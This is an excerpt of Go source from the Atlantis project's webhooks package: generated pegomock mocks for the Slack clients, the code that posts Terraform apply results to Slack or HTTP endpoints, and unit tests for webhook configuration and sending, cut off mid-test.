[]pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } _params := []pegomock.Param{channel, applyResult} _result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockSlackClient) TokenIsSet() bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("TokenIsSet", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockSlackClient) VerifyWasCalledOnce() *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockSlackClient struct { mock *MockSlackClient invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSlackClient) AuthTest() *MockSlackClient_AuthTest_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", _params, verifier.timeout) return &MockSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSlackClient_AuthTest_OngoingVerification struct { mock *MockSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockSlackClient_AuthTest_OngoingVerification) GetCapturedArguments() { } func (c *MockSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) *MockSlackClient_PostMessage_OngoingVerification { _params := []pegomock.Param{channel, applyResult} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", _params, verifier.timeout) return &MockSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSlackClient_PostMessage_OngoingVerification struct { mock *MockSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, webhooks.ApplyResult) { channel, applyResult := c.GetAllCapturedArguments() return channel[len(channel)-1], applyResult[len(applyResult)-1] } func (c *MockSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []webhooks.ApplyResult) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(webhooks.ApplyResult) } } } return } func (verifier *VerifierMockSlackClient) TokenIsSet() *MockSlackClient_TokenIsSet_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TokenIsSet", _params, verifier.timeout) return &MockSlackClient_TokenIsSet_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSlackClient_TokenIsSet_OngoingVerification struct { mock *MockSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetCapturedArguments() { } func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetAllCapturedArguments() { } ================================================ FILE: server/events/webhooks/mocks/mock_underlying_slack_client.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: UnderlyingSlackClient) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" slack "github.com/slack-go/slack" "reflect" "time" ) type MockUnderlyingSlackClient struct { fail func(message string, callerSkip ...int) } func NewMockUnderlyingSlackClient(options ...pegomock.Option) *MockUnderlyingSlackClient { mock := &MockUnderlyingSlackClient{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockUnderlyingSlackClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockUnderlyingSlackClient) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockUnderlyingSlackClient) AuthTest() (*slack.AuthTestResponse, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", _params, []reflect.Type{reflect.TypeOf((**slack.AuthTestResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *slack.AuthTestResponse var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*slack.AuthTestResponse) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) ([]slack.Channel, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } _params := []pegomock.Param{conversationParams} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetConversations", _params, []reflect.Type{reflect.TypeOf((*[]slack.Channel)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []slack.Channel var _ret1 string var _ret2 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]slack.Channel) } if _result[1] != nil { _ret1 = _result[1].(string) } if _result[2] != nil { _ret2 = _result[2].(error) } } return _ret0, _ret1, _ret2 } func (mock *MockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) (string, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } _params := []pegomock.Param{channelID} for _, param := range options { _params = append(_params, param) } _result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 string var _ret2 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(string) } if _result[2] != nil { _ret2 = _result[2].(error) } } return _ret0, _ret1, _ret2 } func (mock *MockUnderlyingSlackClient) VerifyWasCalledOnce() *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockUnderlyingSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockUnderlyingSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockUnderlyingSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockUnderlyingSlackClient struct { mock *MockUnderlyingSlackClient invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockUnderlyingSlackClient) AuthTest() *MockUnderlyingSlackClient_AuthTest_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", _params, verifier.timeout) return &MockUnderlyingSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockUnderlyingSlackClient_AuthTest_OngoingVerification struct { mock *MockUnderlyingSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetCapturedArguments() { } func (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) *MockUnderlyingSlackClient_GetConversations_OngoingVerification { _params := []pegomock.Param{conversationParams} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetConversations", _params, verifier.timeout) return &MockUnderlyingSlackClient_GetConversations_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockUnderlyingSlackClient_GetConversations_OngoingVerification struct { mock *MockUnderlyingSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetCapturedArguments() *slack.GetConversationsParameters { conversationParams := c.GetAllCapturedArguments() return conversationParams[len(conversationParams)-1] } func (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetAllCapturedArguments() (_param0 []*slack.GetConversationsParameters) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*slack.GetConversationsParameters, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*slack.GetConversationsParameters) } } } return } func (verifier *VerifierMockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) *MockUnderlyingSlackClient_PostMessage_OngoingVerification { _params := []pegomock.Param{channelID} for _, param := range options { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", _params, verifier.timeout) return &MockUnderlyingSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockUnderlyingSlackClient_PostMessage_OngoingVerification struct { mock *MockUnderlyingSlackClient methodInvocations []pegomock.MethodInvocation } func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, []slack.MsgOption) { channelID, options := c.GetAllCapturedArguments() return channelID[len(channelID)-1], options[len(options)-1] } func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]slack.MsgOption) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } _param1 = make([][]slack.MsgOption, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param1[u] = make([]slack.MsgOption, len(_params)-1) for x := 1; x < len(_params); x++ { if _params[x][u] != nil { _param1[u][x-1] = _params[x][u].(slack.MsgOption) } } } } return } ================================================ FILE: server/events/webhooks/slack.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks import ( "regexp" "fmt" "github.com/runatlantis/atlantis/server/logging" ) // SlackWebhook sends webhooks to Slack. type SlackWebhook struct { Client SlackClient WorkspaceRegex *regexp.Regexp BranchRegex *regexp.Regexp Channel string } func NewSlack(wr *regexp.Regexp, br *regexp.Regexp, channel string, client SlackClient) (*SlackWebhook, error) { if err := client.AuthTest(); err != nil { return nil, fmt.Errorf("testing slack authentication: %s. Verify your slack-token is valid", err) } return &SlackWebhook{ Client: client, WorkspaceRegex: wr, BranchRegex: br, Channel: channel, }, nil } // Send sends the webhook to Slack if workspace and branch matches their respective regex. func (s *SlackWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error { if !s.WorkspaceRegex.MatchString(applyResult.Workspace) || !s.BranchRegex.MatchString(applyResult.Pull.BaseBranch) { return nil } return s.Client.PostMessage(s.Channel, applyResult) } ================================================ FILE: server/events/webhooks/slack_client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks import ( "fmt" "github.com/slack-go/slack" ) const ( slackSuccessColour = "good" slackFailureColour = "danger" ) //go:generate pegomock generate --package mocks -o mocks/mock_slack_client.go SlackClient // SlackClient handles making API calls to Slack. type SlackClient interface { AuthTest() error TokenIsSet() bool PostMessage(channel string, applyResult ApplyResult) error } //go:generate pegomock generate --package mocks -o mocks/mock_underlying_slack_client.go UnderlyingSlackClient // UnderlyingSlackClient wraps the nlopes/slack.Client implementation so // we can mock it during tests. type UnderlyingSlackClient interface { AuthTest() (response *slack.AuthTestResponse, error error) GetConversations(conversationParams *slack.GetConversationsParameters) (channels []slack.Channel, nextCursor string, err error) PostMessage(channelID string, options ...slack.MsgOption) (string, string, error) } type DefaultSlackClient struct { Slack UnderlyingSlackClient Token string } func NewSlackClient(token string) SlackClient { return &DefaultSlackClient{ Slack: slack.New(token), Token: token, } } func (d *DefaultSlackClient) AuthTest() error { _, err := d.Slack.AuthTest() return err } func (d *DefaultSlackClient) TokenIsSet() bool { return d.Token != "" } func (d *DefaultSlackClient) PostMessage(channel string, applyResult ApplyResult) error { attachments := d.createAttachments(applyResult) _, _, err := d.Slack.PostMessage( channel, slack.MsgOptionAsUser(true), slack.MsgOptionText("", false), slack.MsgOptionAttachments(attachments[0]), ) return err } func (d *DefaultSlackClient) createAttachments(applyResult ApplyResult) []slack.Attachment { var colour string var successWord string if applyResult.Success { colour = slackSuccessColour successWord = "succeeded" } else { colour = slackFailureColour successWord = "failed" } text := fmt.Sprintf("Apply %s for <%s|%s>", successWord, applyResult.Pull.URL, applyResult.Repo.FullName) directory := applyResult.Directory // Since "." looks weird, replace it with "/" to make it clear this is the root. if directory == "." { directory = "/" } attachment := slack.Attachment{ Color: colour, Text: text, Fields: []slack.AttachmentField{ { Title: "Workspace", Value: applyResult.Workspace, Short: true, }, { Title: "Branch", Value: applyResult.Pull.BaseBranch, Short: true, }, { Title: "User", Value: applyResult.User.Username, Short: true, }, { Title: "Directory", Value: directory, Short: true, }, }, } return []slack.Attachment{attachment} } ================================================ FILE: server/events/webhooks/slack_client_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks_test import ( "errors" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" . "github.com/petergtz/pegomock/v4" . "github.com/runatlantis/atlantis/testing" ) var underlying *mocks.MockUnderlyingSlackClient var client webhooks.DefaultSlackClient var result webhooks.ApplyResult func TestAuthTest_Success(t *testing.T) { t.Log("When the underlying client succeeds, function should succeed") setup(t) err := client.AuthTest() Ok(t, err) } func TestAuthTest_Error(t *testing.T) { t.Log("When the underlying slack client errors, an error should be returned") setup(t) When(underlying.AuthTest()).ThenReturn(nil, errors.New("")) err := client.AuthTest() Assert(t, err != nil, "expected error") } func TestTokenIsSet(t *testing.T) { t.Log("When the Token is an empty string, function should return false") c := webhooks.DefaultSlackClient{ Token: "", } Equals(t, false, c.TokenIsSet()) t.Log("When the Token is not an empty string, function should return true") c.Token = "random" Equals(t, true, c.TokenIsSet()) } /* // The next 2 tests are commented out because they currently fail using the Pegamock's // VerifyWasCalledOnce using variadic parameters. // See issue https://github.com/petergtz/pegomock/issues/112 func TestPostMessage_Success(t *testing.T) { t.Log("When apply succeeds, function should succeed and indicate success") setup(t) attachments := []slack.Attachment{{ Color: "good", Text: "Apply succeeded for ", Fields: []slack.AttachmentField{ { Title: "Workspace", Value: result.Workspace, Short: true, }, { Title: "User", Value: result.User.Username, Short: true, }, { Title: "Directory", Value: result.Directory, Short: true, }, }, }} channel := "somechannel" err := client.PostMessage(channel, result) Ok(t, err) underlying.VerifyWasCalledOnce().PostMessage( channel, slack.MsgOptionAsUser(true), slack.MsgOptionText("", false), slack.MsgOptionAttachments(attachments[0]), ) t.Log("When apply fails, function should succeed and indicate failure") result.Success = false attachments[0].Color = "danger" attachments[0].Text = "Apply failed for " err = client.PostMessage(channel, result) Ok(t, err) underlying.VerifyWasCalledOnce().PostMessage( channel, slack.MsgOptionAsUser(true), slack.MsgOptionText("", false), slack.MsgOptionAttachments(attachments[0]), ) } func TestPostMessage_Error(t *testing.T) { t.Log("When the underlying slack client errors, an error should be returned") setup(t) attachments := []slack.Attachment{{ Color: "good", Text: "Apply succeeded for ", Fields: []slack.AttachmentField{ { Title: "Workspace", Value: result.Workspace, Short: true, }, { Title: "User", Value: result.User.Username, Short: true, }, { Title: "Directory", Value: result.Directory, Short: true, }, }, }} channel := "somechannel" When(underlying.PostMessage( channel, slack.MsgOptionAsUser(true), slack.MsgOptionText("", false), slack.MsgOptionAttachments(attachments[0]), )).ThenReturn("", "", errors.New("")) err := client.PostMessage(channel, result) Assert(t, err != nil, "expected error") } */ func setup(t *testing.T) { RegisterMockTestingT(t) underlying = mocks.NewMockUnderlyingSlackClient() client = webhooks.DefaultSlackClient{ Slack: underlying, Token: "sometoken", } result = webhooks.ApplyResult{ Workspace: "production", Repo: models.Repo{ FullName: "runatlantis/atlantis", }, Pull: models.PullRequest{ Num: 1, URL: "url", BaseBranch: "main", }, User: models.User{ Username: "lkysow", }, Success: true, } } ================================================ FILE: server/events/webhooks/slack_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks_test import ( "regexp" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestSend_PostMessage(t *testing.T) { t.Log("Sending a hook with a matching regex should call PostMessage") RegisterMockTestingT(t) client := mocks.NewMockSlackClient() regex, err := regexp.Compile(".*") Ok(t, err) channel := "somechannel" hook := webhooks.SlackWebhook{ Client: client, WorkspaceRegex: regex, BranchRegex: regex, Channel: channel, } result := webhooks.ApplyResult{ Workspace: "production", Pull: models.PullRequest{ BaseBranch: "main", }, } t.Log("PostMessage should be called, doesn't matter if it errors or not") _ = hook.Send(logging.NewNoopLogger(t), result) client.VerifyWasCalledOnce().PostMessage(channel, result) } func TestSend_NoopSuccess(t *testing.T) { t.Log("Sending a hook with a non-matching regex should succeed") RegisterMockTestingT(t) client := mocks.NewMockSlackClient() regex, err := regexp.Compile("weirdemv") Ok(t, err) channel := "somechannel" hook := webhooks.SlackWebhook{ Client: client, WorkspaceRegex: regex, BranchRegex: regex, Channel: channel, } result := webhooks.ApplyResult{ Workspace: "production", Pull: models.PullRequest{ BaseBranch: "main", }, } err = hook.Send(logging.NewNoopLogger(t), result) Ok(t, err) client.VerifyWasCalled(Never()).PostMessage(channel, result) } ================================================ FILE: server/events/webhooks/webhooks.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks import ( "fmt" "regexp" "errors" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) const SlackKind = "slack" const HttpKind = "http" const ApplyEvent = "apply" //go:generate pegomock generate --package mocks -o mocks/mock_sender.go Sender // Sender sends webhooks. type Sender interface { // Send sends the webhook (if the implementation thinks it should). Send(log logging.SimpleLogging, applyResult ApplyResult) error } // ApplyResult is the result of a terraform apply. type ApplyResult struct { Workspace string Repo models.Repo Pull models.PullRequest User models.User Success bool Directory string ProjectName string } // MultiWebhookSender sends multiple webhooks for each one it's configured for. type MultiWebhookSender struct { Webhooks []Sender } type Config struct { Event string WorkspaceRegex string BranchRegex string Kind string Channel string URL string } type Clients struct { Slack SlackClient Http *HttpClient } func NewMultiWebhookSender(configs []Config, clients Clients) (*MultiWebhookSender, error) { var webhooks []Sender for _, c := range configs { wr, err := regexp.Compile(c.WorkspaceRegex) if err != nil { return nil, err } br, err := regexp.Compile(c.BranchRegex) if err != nil { return nil, err } if c.Kind == "" || c.Event == "" { return nil, errors.New("must specify \"kind\" and \"event\" keys for webhooks") } if c.Event != ApplyEvent { return nil, fmt.Errorf("\"event: %s\" not supported. Only \"event: %s\" is supported right now", c.Event, ApplyEvent) } switch c.Kind { case SlackKind: if !clients.Slack.TokenIsSet() { return nil, errors.New("must specify top-level \"slack-token\" if using a webhook of \"kind: slack\"") } if c.Channel == "" { return nil, errors.New("must specify \"channel\" if using a webhook of \"kind: slack\"") } slack, err := NewSlack(wr, br, c.Channel, clients.Slack) if err != nil { return nil, err } webhooks = append(webhooks, slack) case HttpKind: if c.URL == "" { return nil, errors.New("must specify \"url\" if using a webhook of \"kind: http\"") } httpWebhook := &HttpWebhook{ Client: clients.Http, WorkspaceRegex: wr, BranchRegex: br, URL: c.URL, } webhooks = append(webhooks, httpWebhook) default: return nil, fmt.Errorf("\"kind: %s\" not supported. Only \"kind: %s\" and \"kind: %s\" are supported right now", c.Kind, SlackKind, HttpKind) } } return &MultiWebhookSender{ Webhooks: webhooks, }, nil } // Send sends the webhook using its Webhooks. func (w *MultiWebhookSender) Send(log logging.SimpleLogging, result ApplyResult) error { for _, w := range w.Webhooks { if err := w.Send(log, result); err != nil { log.Warn("error sending webhook: %s", err) } } return nil } ================================================ FILE: server/events/webhooks/webhooks_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package webhooks_test import ( "net/http" "strings" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) const ( validEvent = webhooks.ApplyEvent validRegex = ".*" validKind = webhooks.SlackKind validChannel = "validchannel" ) var validConfig = webhooks.Config{ Event: validEvent, WorkspaceRegex: validRegex, BranchRegex: validRegex, Kind: validKind, Channel: validChannel, } func validConfigs() []webhooks.Config { return []webhooks.Config{validConfig} } func validClients() webhooks.Clients { return webhooks.Clients{ Slack: mocks.NewMockSlackClient(), Http: &webhooks.HttpClient{Client: http.DefaultClient}, } } func TestNewWebhooksManager_InvalidWorkspaceRegex(t *testing.T) { t.Log("When given an invalid workspace regex in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() invalidRegex := "(" configs := validConfigs() configs[0].WorkspaceRegex = invalidRegex _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") } func TestNewWebhooksManager_InvalidBranchRegex(t *testing.T) { t.Log("When given an invalid branch regex in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() invalidRegex := "(" configs := validConfigs() configs[0].BranchRegex = invalidRegex _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") } func TestNewWebhooksManager_InvalidBranchAndWorkspaceRegex(t *testing.T) { t.Log("When given an invalid branch and invalid workspace regex in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() invalidRegex := "(" configs := validConfigs() configs[0].WorkspaceRegex = invalidRegex configs[0].BranchRegex = invalidRegex _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") } func TestNewWebhooksManager_NoEvent(t *testing.T) { t.Log("When the event key is not specified in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() configs := validConfigs() configs[0].Event = "" _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "must specify \"kind\" and \"event\" keys for webhooks", err.Error()) } func TestNewWebhooksManager_UnsupportedEvent(t *testing.T) { t.Log("When given an unsupported event in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() unsupportedEvent := "badevent" configs := validConfigs() configs[0].Event = unsupportedEvent _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "\"event: badevent\" not supported. Only \"event: apply\" is supported right now", err.Error()) } func TestNewWebhooksManager_NoKind(t *testing.T) { t.Log("When the kind key is not specified in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() configs := validConfigs() configs[0].Kind = "" _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "must specify \"kind\" and \"event\" keys for webhooks", err.Error()) } func TestNewWebhooksManager_UnsupportedKind(t *testing.T) { t.Log("When given an unsupported kind in a config, an error is returned") RegisterMockTestingT(t) clients := validClients() unsupportedKind := "badkind" configs := validConfigs() configs[0].Kind = unsupportedKind _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "\"kind: badkind\" not supported. Only \"kind: slack\" and \"kind: http\" are supported right now", err.Error()) } func TestNewWebhooksManager_NoConfigSuccess(t *testing.T) { t.Log("When there are no configs, function should succeed") t.Log("passing any client should succeed") var emptyConfigs []webhooks.Config emptyToken := "" anyClients := webhooks.Clients{ Slack: webhooks.NewSlackClient(emptyToken), Http: &webhooks.HttpClient{Client: http.DefaultClient}, } m, err := webhooks.NewMultiWebhookSender(emptyConfigs, anyClients) Ok(t, err) Equals(t, 0, len(m.Webhooks)) // nolint: staticcheck t.Log("passing nil client should succeed") m, err = webhooks.NewMultiWebhookSender(emptyConfigs, webhooks.Clients{}) Ok(t, err) Equals(t, 0, len(m.Webhooks)) // nolint: staticcheck } func TestNewWebhooksManager_SingleConfigSuccess(t *testing.T) { t.Log("When there is one valid config, function should succeed") RegisterMockTestingT(t) clients := validClients() When(clients.Slack.TokenIsSet()).ThenReturn(true) configs := validConfigs() m, err := webhooks.NewMultiWebhookSender(configs, clients) Ok(t, err) Equals(t, 1, len(m.Webhooks)) // nolint: staticcheck } func TestNewWebhooksManager_MultipleConfigSuccess(t *testing.T) { t.Log("When there are multiple valid configs, function should succeed") RegisterMockTestingT(t) clients := validClients() When(clients.Slack.TokenIsSet()).ThenReturn(true) var configs []webhooks.Config nConfigs := 5 for range nConfigs { configs = append(configs, validConfig) } m, err := webhooks.NewMultiWebhookSender(configs, clients) Ok(t, err) Equals(t, nConfigs, len(m.Webhooks)) // nolint: staticcheck } func TestSend_SingleSuccess(t *testing.T) { t.Log("Sending one webhook should succeed") RegisterMockTestingT(t) sender := mocks.NewMockSender() manager := webhooks.MultiWebhookSender{ Webhooks: []webhooks.Sender{sender}, } logger := 